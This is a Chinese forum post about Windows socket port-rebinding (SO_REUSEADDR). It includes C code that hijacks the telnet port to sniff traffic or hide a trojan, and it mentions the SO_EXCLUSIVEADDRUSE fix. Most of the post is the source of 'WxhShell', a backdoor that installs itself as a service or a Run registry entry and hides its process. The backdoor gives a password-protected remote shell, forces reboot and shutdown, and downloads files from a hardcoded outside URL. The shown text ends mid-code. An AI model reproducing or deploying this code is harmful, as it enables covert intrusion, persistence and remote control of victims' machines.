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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HXY,e$c#y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FR%u1fi  
yv&VK ht  
  saddr.sin_family = AF_INET; Uw:gJ 9  
SmR"gu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y%"6  
9 f+S-!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ta 0Ln  
4PsJs<u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RXZ}aX[h  
wy)I6`v  
  这意味着什么?意味着可以进行如下的攻击: ?oKY"C8/  
P*M$^p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nm3/-Q},  
xdqiogue  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n@"h^-  
?~g X7{>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]EhU8bZ  
(w+dB8 )X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kCoTz"Z-  
N4z(2.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UCv9G/$  
XX@@tzN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NjL^FqA[  
`fA|])3T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &-s/F`  
X?Yp=%%  
  #include 1`;,_>8  
  #include 5*he  
  #include ecjjCt2S  
  #include    9N?BWv }  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DQ a0S7I  
  int main()  a1p}y2  
  { {Al}a`da  
  WORD wVersionRequested; <l,Kg 'v  
  DWORD ret; 2G4OK7x  
  WSADATA wsaData; e?"XMY  
  BOOL val; X=Th  
  SOCKADDR_IN saddr; G"~%[k  
  SOCKADDR_IN scaddr; HU='Hk!  
  int err; ZV?~~_ 9  
  SOCKET s; H%AF,  
  SOCKET sc; fNkN  
  int caddsize; V6.w=6:`X  
  HANDLE mt; Mr8r(LGY  
  DWORD tid;   G{8>  
  wVersionRequested = MAKEWORD( 2, 2 ); 8D[,z 7n  
  err = WSAStartup( wVersionRequested, &wsaData ); j![;;  
  if ( err != 0 ) { 1E]|>)$  
  printf("error!WSAStartup failed!\n"); y_mD9bgW  
  return -1; u\,("2ZW9+  
  } y&$mN  
  saddr.sin_family = AF_INET; S<+/Ep 2  
   AZi|85rN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >We:g Kxr  
c,\!<4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); < mb.F-8  
  saddr.sin_port = htons(23); s?j` _ B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C6-71 `C0  
  { z 5T_  
  printf("error!socket failed!\n"); x-Cy,d:YX  
  return -1; l_Ffbs_6t  
  } qBkI9H  
  val = TRUE; t mCm54  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ai 9UB=[R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XehpW}2\  
  { [J6*Q9B<V&  
  printf("error!setsockopt failed!\n"); y].vll8R  
  return -1; AhjUFz  
  } r-ldqj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /%fa_+,|-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ) ag8]   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pX nY=  
.Y?/J,Ch  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6@2 S*\&  
  { 2`-yzm  
  ret=GetLastError(); Xg](V.B6  
  printf("error!bind failed!\n"); RnA>oKc  
  return -1; j\ dY  
  } ,s?7EHtC  
  listen(s,2); LHt{y3l]  
  while(1) ]Gm $0uS  
  { ~sI$xX!  
  caddsize = sizeof(scaddr); ]lKQ wpX3  
  //接受连接请求 6__#n`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -\.'WZo`  
  if(sc!=INVALID_SOCKET) 7H1 ii   
  { 5g{L -8XwI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `3v! i   
  if(mt==NULL) I^5T9}>Q  
  { ]G0`W6;$]  
  printf("Thread Creat Failed!\n"); YEEgDw]BQ  
  break;  QTN _Z#'  
  } g' xR$6t  
  } q=M\#MlL0'  
  CloseHandle(mt); q 16jL,i  
  } a!;]9}u7  
  closesocket(s); @Gs*y1  
  WSACleanup(); 78s:~|WB<{  
  return 0; d" "GG/  
  }   &*}NN5Sv  
  DWORD WINAPI ClientThread(LPVOID lpParam) [I`r[u  
  { ; FO1b*  
  SOCKET ss = (SOCKET)lpParam; k{fCU%  
  SOCKET sc; z)Y<@2V*C  
  unsigned char buf[4096]; &IQp&  
  SOCKADDR_IN saddr; $uA?c& e  
  long num; )-_NtMr~`!  
  DWORD val; :y?xS  
  DWORD ret; _L6WbRu|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MNE{mV(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q/o|uAq  
  saddr.sin_family = AF_INET; X[frL)k]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nt/+?Sj  
  saddr.sin_port = htons(23); f PoC yl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0/8rYBV  
  { I 9yN TD  
  printf("error!socket failed!\n"); hSgfp  
  return -1; 6,"fH{Bd  
  } G;n'c7BV  
  val = 100; (l28,\Bel  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cT8`l!RD<  
  { qsB,yckml  
  ret = GetLastError(); -%&_LE9ZtS  
  return -1; -fl?G%:(!0  
  } FtUOgL)|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &S}i)Nu6J  
  { TzXivE@mm  
  ret = GetLastError(); [<)/ c>Y  
  return -1; )`RF2Y-A7  
  } `"0#lZ`n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rz]0i@ehv'  
  { Y",Fs(  
  printf("error!socket connect failed!\n"); kIAWI;H{  
  closesocket(sc); Lm kv .XF  
  closesocket(ss); RVFQ!0 C  
  return -1; })V9d  
  } ^A8'YTl  
  while(1) Ni5~Buf  
  { la ~T)U7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U!:Q|':=h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7$(>Z^ Em  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Zho d%n3  
  num = recv(ss,buf,4096,0); ]Dm'J%P0}  
  if(num>0) 6V=69}  
  send(sc,buf,num,0); q$EicH}k8  
  else if(num==0) m*L*# ZBS  
  break; Y{X79Rd  
  num = recv(sc,buf,4096,0); ~X^L3=!vf  
  if(num>0) )bZS0f-  
  send(ss,buf,num,0); iH& Izv  
  else if(num==0) ] X,C9  
  break; [&n2 yt  
  } m~%\f8w-x  
  closesocket(ss); p=U*4[9k  
  closesocket(sc); *0)vsBi  
  return 0 ; 6(4FC?Y7  
  } +'abAST t  
:\x)`lu  
] (3e +JC  
========================================================== +tL]qO BP  
8\m_.e  
下边附上一个代码,,WXhSHELL d `LBFH,  
]KfjZ!Qh  
==========================================================  ?[Od.  
$m`?x5rL8  
#include "stdafx.h" O/^7TBTn<r  
75~>[JM  
#include <stdio.h> ffK A  
#include <string.h> x^kV;^ I  
#include <windows.h> 5V&3m@d0aq  
#include <winsock2.h> *TY?*H  
#include <winsvc.h> $LLkYOwI  
#include <urlmon.h> A-\OB Nh  
nwh7DU i  
#pragma comment (lib, "Ws2_32.lib") F}P+3IaE  
#pragma comment (lib, "urlmon.lib") [*U6L<JI  
T]d9tX-  
#define MAX_USER   100 // 最大客户端连接数 h#9X0u7j  
#define BUF_SOCK   200 // sock buffer [z$th  
#define KEY_BUFF   255 // 输入 buffer OD !b*Iy|  
2xvTijO0  
#define REBOOT     0   // 重启 !|{T>yy  
#define SHUTDOWN   1   // 关机 v*'dA^Q  
WpE\N0Yg  
#define DEF_PORT   5000 // 监听端口 (J8 (_MF  
'Z#8]YP`  
#define REG_LEN     16   // 注册表键长度 \Tf845  
#define SVC_LEN     80   // NT服务名长度 won;tO]\;@  
~=~|@K  
// 从dll定义API Sw<@u+Z;%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ftB-gItV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gT$`a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mGZ^K,)&OR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZI4[v>  
:@zz5MB5@  
// wxhshell配置信息 7Z0fMk  
struct WSCFG { ohqi4Y!j/~  
  int ws_port;         // 监听端口 -@{5 u d  
  char ws_passstr[REG_LEN]; // 口令 Y.&nxT95=  
  int ws_autoins;       // 安装标记, 1=yes 0=no To1 .U)do  
  char ws_regname[REG_LEN]; // 注册表键名 LY b@0O<w  
  char ws_svcname[REG_LEN]; // 服务名 _oK*1#Rm8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fB+4mEG@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (LzVWz m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T9.3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9fr LYJz"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "w.gP8`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +jQHf-l  
SoX\S|}%6[  
}; ZYr6Wn  
rM/Ona2x  
// default Wxhshell configuration f& P'Kxj_  
struct WSCFG wscfg={DEF_PORT, tQ=P.14>:  
    "xuhuanlingzhe", "J|{'k`  
    1, c:(Xk zj  
    "Wxhshell", g{wOq{7V  
    "Wxhshell", Q-<N)K$F(4  
            "WxhShell Service", 8D3|}z?  
    "Wrsky Windows CmdShell Service", .} al s  
    "Please Input Your Password: ", C;]}Ht:~I  
  1, [?z`XY_-  
  "http://www.wrsky.com/wxhshell.exe", T%|{Qo<j  
  "Wxhshell.exe" ?:DeOBAb  
    }; a=n* }.  
XFJGL!wWm[  
// 消息定义模块 MYyV{W*T>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [XK^3pT_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4mYJi#e6x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h"R{{y f2  
char *msg_ws_ext="\n\rExit."; <k59Ni9  
char *msg_ws_end="\n\rQuit."; 6! `^}4  
char *msg_ws_boot="\n\rReboot..."; Eod'Esye5  
char *msg_ws_poff="\n\rShutdown..."; })~M}d2LXB  
char *msg_ws_down="\n\rSave to "; H!N`hEEj>  
Lg6;FbY?  
char *msg_ws_err="\n\rErr!"; q|N,?f9  
char *msg_ws_ok="\n\rOK!"; %DOV)Qc2  
>JOEp0J  
char ExeFile[MAX_PATH]; ;5S'?fj  
int nUser = 0; \N3A2L)l  
HANDLE handles[MAX_USER]; z{;~$."  
int OsIsNt; 2g0_[$[m  
Cpg>5N~;L  
SERVICE_STATUS       serviceStatus; <rQ+ErDA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qnO>F^itF  
5`>%{ o  
// 函数声明 rf\/Y"D  
int Install(void);  yxx9h3  
int Uninstall(void); p)&Yr  
int DownloadFile(char *sURL, SOCKET wsh); :<QmG3F  
int Boot(int flag); Xzn}gH]  
void HideProc(void); S:= _o  
int GetOsVer(void); g.,_E4L  
int Wxhshell(SOCKET wsl); ==!k99`f,  
void TalkWithClient(void *cs); Y'&rSHI"  
int CmdShell(SOCKET sock); #ULjK*)R  
int StartFromService(void); +H**VdM6s  
int StartWxhshell(LPSTR lpCmdLine); U*Sjb% Qb  
cqd}.D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k]"DsN$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W ])Lc3X  
u%24% Q  
// 数据结构和表定义 Oaj$Z- f  
SERVICE_TABLE_ENTRY DispatchTable[] = wdMVy=SS  
{ ]tsp}M@  
{wscfg.ws_svcname, NTServiceMain}, 0wE)1w<C~  
{NULL, NULL} *S= c0  
}; JIOeDuw+  
JqTR4[`Z\  
// 自我安装 v!WkPvU  
int Install(void) '_fj:dy  
{ :ceT8-PBRx  
  char svExeFile[MAX_PATH]; T*1`MIkv  
  HKEY key; /RBIZ_  
  strcpy(svExeFile,ExeFile); >HRL@~~Z  
Nc_Qd4<[@G  
// 如果是win9x系统,修改注册表设为自启动 .~Gt=F+`s  
if(!OsIsNt) { =N^j:t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wQw&.)T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A$1Gc> C  
  RegCloseKey(key); c2~oPUj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c[zGWF#1>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aB^`3J  
  RegCloseKey(key); #>_5PdO  
  return 0; `)n/J+g  
    } 1zGhX]z  
  } WT'?L{  
} UZ-[vD1n  
else { iPK:gK3Q  
kJNu2S  
// 如果是NT以上系统,安装为系统服务 bFB.hkTP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <!a%GI  
if (schSCManager!=0) ,/Al'  
{ %(ms74R+  
  SC_HANDLE schService = CreateService %T,cR>lw  
  ( cL+bMM$4r~  
  schSCManager, EXizRL-9o  
  wscfg.ws_svcname, ['_W <  
  wscfg.ws_svcdisp, p"|0PlW  
  SERVICE_ALL_ACCESS, 7*(K%e"U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 58[.]f~0  
  SERVICE_AUTO_START, Q=?YY-*$  
  SERVICE_ERROR_NORMAL, n_eN|m?@  
  svExeFile, owe6ge7m  
  NULL, a~w l D.P  
  NULL, HSlAm&Y\  
  NULL, %mNd9 ]<  
  NULL, }~!KjFbs  
  NULL fp2uk3Bm[  
  ); O)D+u@RhH  
  if (schService!=0) 8fC 5O  
  { h: Hpz  
  CloseServiceHandle(schService); v@Bk)Z  
  CloseServiceHandle(schSCManager); Ry`Y +  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W;QU6z>  
  strcat(svExeFile,wscfg.ws_svcname); _qjkiKm?1F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f19'IH$n{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8^5@J) R8  
  RegCloseKey(key); AI9#\$aGV  
  return 0; _KAg1Ww  
    } HC>MCwx=r  
  } g;\_MbfP  
  CloseServiceHandle(schSCManager); d#u*NwY}  
} "#=WD  
} @  Br?  
{8w,{p`  
return 1; }HxC ~J"  
} lJ(] ;/%  
;, ^AR{+x  
// 自我卸载 n|) JhXQ  
int Uninstall(void) >L,Pw1Y0W[  
{ r(p@{L185  
  HKEY key; 3u&)6C?YM  
8~:s$~&r  
if(!OsIsNt) { ldRisL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 68nBc~iAm  
  RegDeleteValue(key,wscfg.ws_regname); >36>{b<'$*  
  RegCloseKey(key); Vy@0Got5=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7qEc9S@  
  RegDeleteValue(key,wscfg.ws_regname); !xz{X?  
  RegCloseKey(key); 6'ia^om  
  return 0; K yDPD'  
  } C>Cb  
} i1DJ0xC]  
} |s, Add:S  
else { (i>bGmiN  
 y aLc~K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K%(DRkj)  
if (schSCManager!=0) V[avV*;3i  
{ 5v5K}hx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~s -"u *>  
  if (schService!=0) mE"},ksg  
  { BiD}C  
  if(DeleteService(schService)!=0) { 7R=A]@  
  CloseServiceHandle(schService); DRmN+2I  
  CloseServiceHandle(schSCManager); '-vzQd@y  
  return 0; u8Oo@xf0Fr  
  } Usf7 AS=  
  CloseServiceHandle(schService); V J]S"  
  } <S(`e/#[  
  CloseServiceHandle(schSCManager); &ngG_y8}&  
} /..a9x{At>  
} Qcs >BOV~  
`xie/  
return 1; } .'\IR  
} ?/FCq6o  
g<jgR*TE`  
// 从指定url下载文件 O`D,>=[  
int DownloadFile(char *sURL, SOCKET wsh) 92 =huV  
{ (cdtUE8  
  HRESULT hr; taqmtXU=(  
char seps[]= "/"; Jpr`E&%I6  
char *token; D5jZ;z}  
char *file; Ob m%\h  
char myURL[MAX_PATH]; A v[|G4n  
char myFILE[MAX_PATH]; ZmzYJ$:6  
2t 1u{  
strcpy(myURL,sURL); UwVc!Lys  
  token=strtok(myURL,seps); W~2T/~M  
  while(token!=NULL) CyV(+KBe_  
  {   7)  
    file=token; -/gAb<=  
  token=strtok(NULL,seps); @V71%D8{  
  } #/2W RN1L  
y)0wM~E;2  
GetCurrentDirectory(MAX_PATH,myFILE); MfK}DEJK,  
strcat(myFILE, "\\"); 'D17]Lp~.  
strcat(myFILE, file); UY`U[#  
  send(wsh,myFILE,strlen(myFILE),0); H3Sfz'  
send(wsh,"...",3,0); CT#u+]T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KXbD7N.  
  if(hr==S_OK) t7qzAr  
return 0; *;X,yEK[  
else 8|H^u6+yz  
return 1; 6[SE*/E@L  
MWn+e  
} c^%&-],  
$C`YVv%?0  
// 系统电源模块 m5KAKpCR,  
int Boot(int flag) O cJ(i#Q~<  
{ oC >l|?h,  
  HANDLE hToken; pjrzoMF  
  TOKEN_PRIVILEGES tkp; Lzy Ix!S  
bbAJ5EqL  
  if(OsIsNt) { /I@Dv?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m8C scC Z}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^:64(7  
    tkp.PrivilegeCount = 1; sB'Z9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &#DKB#.2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VMgO1-F  
if(flag==REBOOT) { aOK,Mm:iO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E6_.Q `!ll  
  return 0; Dvz}sQZ  
} ;1Zz-@  
else { ,BuEX#ZaBl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e!.r- v9  
  return 0; fd/?x^Z  
} xYl ScM_~  
  } v*VId l>  
  else { -9@/S$i  
if(flag==REBOOT) { Mr u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8>l#F<@5  
  return 0; jO+#$=C  
} wTK>U`o  
else { { ((|IvP`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LG> lj$hO  
  return 0; -naoM  
} 'Nn>W5#))  
} PAHkF&  
d>r_a9 .u  
return 1; #Y;tobB  
} ?VP07 dQTe  
H;=++Dh  
// win9x进程隐藏模块 RY9h^q*  
void HideProc(void) FNB4YZ6  
{ VT~jgsY  
~L ufHbr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); , \ 6*fXc  
  if ( hKernel != NULL ) SXx;- Ws  
  { 3Z-N*bhC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $S_G:}tna  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Z70 jkW[  
    FreeLibrary(hKernel); c>pbRUMH  
  } W^Z#_{  
@A;Ouu(  
return; Bgy?k K2[  
} ,)](h+zl_6  
l d@B  
// 获取操作系统版本 ]5`Y^hS_g  
int GetOsVer(void) .W1i3Z6g  
{ -/z#?J\  
  OSVERSIONINFO winfo; "[M k5tM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IolKe:'>@  
  GetVersionEx(&winfo); :HTV8;yc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^DWhIxBh  
  return 1; /O/pAu>  
  else -&3mOn& (1  
  return 0; =abBD   
} zy!mP  
;0 No@G;z  
// 客户端句柄模块 <oP"kh<D4  
int Wxhshell(SOCKET wsl) cW*p}hD  
{ T>\ r}p  
  SOCKET wsh; _8eN^oc%  
  struct sockaddr_in client; sUEvL( %nY  
  DWORD myID; !3 j@gi2  
pXBlTZf  
  while(nUser<MAX_USER) Z{gJm9  
{ p@Ng.HE  
  int nSize=sizeof(client); i!+Wv-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6l|,J`G  
  if(wsh==INVALID_SOCKET) return 1; ;&8  
TU(w>v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >ho$mvT  
if(handles[nUser]==0) hfQx$cv6  
  closesocket(wsh); \yNe5  
else 6}xFE]Df-Y  
  nUser++; !1<?ddH6  
  } L4?)N&V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C^W9=OH  
lX*IEAc  
  return 0; ,OilGTQ#  
} ~!A*@a C  
Mu?hB{o1  
// 关闭 socket t3b64J[A{  
void CloseIt(SOCKET wsh) UI}df<Ge  
{ ~|t 7  
closesocket(wsh); ^N`bA8  
nUser--; ZlxJY%o eu  
ExitThread(0); ^:F |2  
} U9ZWSDs  
yQ{xRtNO  
// 客户端请求句柄 c4AkH|  
void TalkWithClient(void *cs) qJ8@A}}8  
{ JVx ,1lth  
uv$t>_^  
  SOCKET wsh=(SOCKET)cs; ? pkg1F7  
  char pwd[SVC_LEN]; c5f8pa *  
  char cmd[KEY_BUFF]; M^twD*  
char chr[1]; *6b$l.Vs  
int i,j; *4<Kz{NF  
_Boe"   
  while (nUser < MAX_USER) { Sy?O(BMo  
+_h1JE_}D  
if(wscfg.ws_passstr) { q;{# ~<"+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kf!8PR$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~=xS\@UY =  
  //ZeroMemory(pwd,KEY_BUFF); ?!$uMKyt  
      i=0; > lg-j-pV  
  while(i<SVC_LEN) { O?I~XM'S  
4gRt^T-?  
  // 设置超时 RO10$1IW.2  
  fd_set FdRead; u_~*)w+mS@  
  struct timeval TimeOut; PIxd'B*MF  
  FD_ZERO(&FdRead); A,4|UA?-  
  FD_SET(wsh,&FdRead); {vL4:K  
  TimeOut.tv_sec=8; Ka$YKY,  
  TimeOut.tv_usec=0; [EX@I =?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /v^1/i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k25:H[   
=eNh))]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a?]"|tQ'  
  pwd=chr[0]; ;E{k+vkqy  
  if(chr[0]==0xd || chr[0]==0xa) { j>KJgSs]&\  
  pwd=0; ]*M-8_D  
  break; ">LX>uYmX-  
  } 1aQR9zg%  
  i++; ![OKmy  
    } 7Y>17=|  
GV aIZh<  
  // 如果是非法用户,关闭 socket ee0)%hc1t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vg6 ' ^5S7  
} jZX2)#a!  
hCcAAF*I;5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #A RQB2V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |*w}bT(PfR  
`?H yDny  
while(1) { :"pA0oB  
,iQRf@#W_b  
  ZeroMemory(cmd,KEY_BUFF); xpb,Nzwt^  
!N@d51T=N  
      // 自动支持客户端 telnet标准   0 kM4\E n  
  j=0; GQP2-cSZ  
  while(j<KEY_BUFF) { :s}6a23  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v9t26>{~  
  cmd[j]=chr[0]; !M&Qca2  
  if(chr[0]==0xa || chr[0]==0xd) { os3jpFeG'  
  cmd[j]=0; ^=lh|C\#  
  break; yG`J3++ S  
  } #nv =x&g  
  j++; "Y> #=>8  
    } _7#9nJ3|  
1JFCYJy  
  // 下载文件 /2n-q_  
  if(strstr(cmd,"http://")) { =@%Ukrd@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :=iP_*#  
  if(DownloadFile(cmd,wsh)) d\_$Nb*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4w\@D>@}H  
  else ^bZ'z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mYy{G s7  
  } LL}|# %4d  
  else { r}1.=a  
41S.&-u  
    switch(cmd[0]) { {7%W /C#A  
  DLWG0$#!  
  // 帮助 4NY}=e5  
  case '?': { >+ P5Zm(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jOYa}jm?  
    break; ^Pq4 n%x  
  } f[AN=M"B"s  
  // 安装 j!It1B  
  case 'i': { 'F)93SwU  
    if(Install()) h "MiD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Z3{6y}3p  
    else [T(XwA)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7H+IW4Ma  
    break; 8K]5fkC|  
    } ) H'SU_YU  
  // 卸载 V?.')?'V  
  case 'r': { TspuZR@2  
    if(Uninstall()) su/!<y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eYN =?  
    else /*zngp @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )nK-39,G  
    break; I:ag}L8`  
    } r}-si^fo;  
  // 显示 wxhshell 所在路径 rY~!hZ  
  case 'p': { ,#u"$Hz8p  
    char svExeFile[MAX_PATH]; _DlX F  
    strcpy(svExeFile,"\n\r"); _:B/XZ  
      strcat(svExeFile,ExeFile); vG{+}o#  
        send(wsh,svExeFile,strlen(svExeFile),0); ,u:J"epM  
    break; e6 R<V]g  
    } i; qb\  
  // 重启 3?do|>  
  case 'b': { [dQL6k";b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kgq"b)  
    if(Boot(REBOOT)) X3bPBv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6cF~8  
    else { *[P"2b#  
    closesocket(wsh); g[NmVY-o  
    ExitThread(0); &!xePKvO6k  
    } ko2T9NI:S  
    break; YKUb'D:t]  
    } b-d{)-G{(  
  // 关机 =02$Dwr  
  case 'd': { B=>VP-:  
